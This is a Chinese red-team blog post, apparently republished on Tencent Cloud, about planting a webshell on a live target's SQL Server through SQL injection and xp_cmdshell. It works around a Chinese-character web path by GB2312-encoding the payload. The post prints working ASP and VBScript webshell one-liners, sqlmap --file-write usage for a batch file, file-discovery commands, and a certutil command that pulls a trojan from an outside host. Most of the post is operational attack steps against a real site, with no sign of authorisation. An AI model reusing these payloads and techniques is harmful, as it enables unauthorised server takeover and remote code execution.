前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQLserver写Webshell总结-突破中文路径

SQLserver写Webshell总结-突破中文路径

作者头像
亿人安全
发布2022-06-30 15:35:04
1.3K0
发布2022-06-30 15:35:04
举报
文章被收录于专栏:红蓝对抗

背景

目标站:

发现授权文件,刷新抓包得到一处ajax请求指向了TicketsSellMainHandler.ashx文件

存在注入

开始踩坑

本来打算通过注入开启XP_cmdshell提权拿到源码 进一步进行审计 通过dir命令得到该站绝对路径

发现是中文绝对路径,这个时候用echo进行写马已经行不通了 mssql调用cmd默认是gb2312编码,使用sqlmap进行echo写马其编码是UTF-8 如图 使用echo写马提示找不到路径

powershell上线

尝试powershell上线,发现该服务器存在360,上线失败,暂不考虑bypass

使用BAT文件写shell

尝试使用sqlmap自带的命令--file-write写bat文件getshell 这里知道了mssql调用cmd的编码是gb2312 所以本地的bat文件编码也要是gb2312

将本地1.bat文件利用windows的certutil文件写到对方D盘的1c.bat

type看看中文是否乱码

没有乱码,但是在接下来运行bat文件中又踩坑了== 多次测试都发现asp的木马中 % 文件跟bat不兼容 在本机中测试 发现木马被写成了这个样==

期间尝试过没有%的木马

代码语言:javascript
复制
<SCRIPT language=VBScript runat=”server”>execute request(“MH”)</SCRIPT>

但是由于该机器的配置原因都失败 遂放弃

手工写shell

将sqlmap代理到burp 抓echo写马的数据包

将这段hex通过UTF-8解码

没有乱码,同理,如果通过GB2312解码一定会乱码,mssql调用cmd使用的便是GB2312编码 将echo xxx 通过GB2313 hex编码

对比之前UTF-8和GB2313编码的不同

将burp中原来UTF-8编码的hex改为GB2313编码的hex 然后Forward

这次没有提示找不到路径 访问该shell写入成功

certutil下载上线

与sqlmap --file-write 同理,使用certutil.exe远程下载木马到对方D盘 然后start运行即可

总结

查找文件 1、dir/s/b d:\1.txt 2、for /r "D:" %i in (*.ashx) do echo %i 3、%windir%\system32\inetsrv\appcmd list VDIR

写shell 1、powershell上线 2、echo <%eval request("z")%> > d:\票务专用\z.asp 3、写bat文件,bat编码需要更改为gb2312简体中文。--file-write c:\users\xiu\desktop\1.bat -file-dest d:\1c.bat 4、certutil.exe -urlcache -split -f http://.xiu09.cn/1.asp D:\1.txt 远程下载shell、木马

参考如下: https://mp.weixin.qq.com/s/NMBdQfVImrAHeDdC2R_rZw

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 背景
  • 开始踩坑
  • powershell上线
  • 使用BAT文件写shell
  • 手工写shell
  • certutil下载上线
  • 总结
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档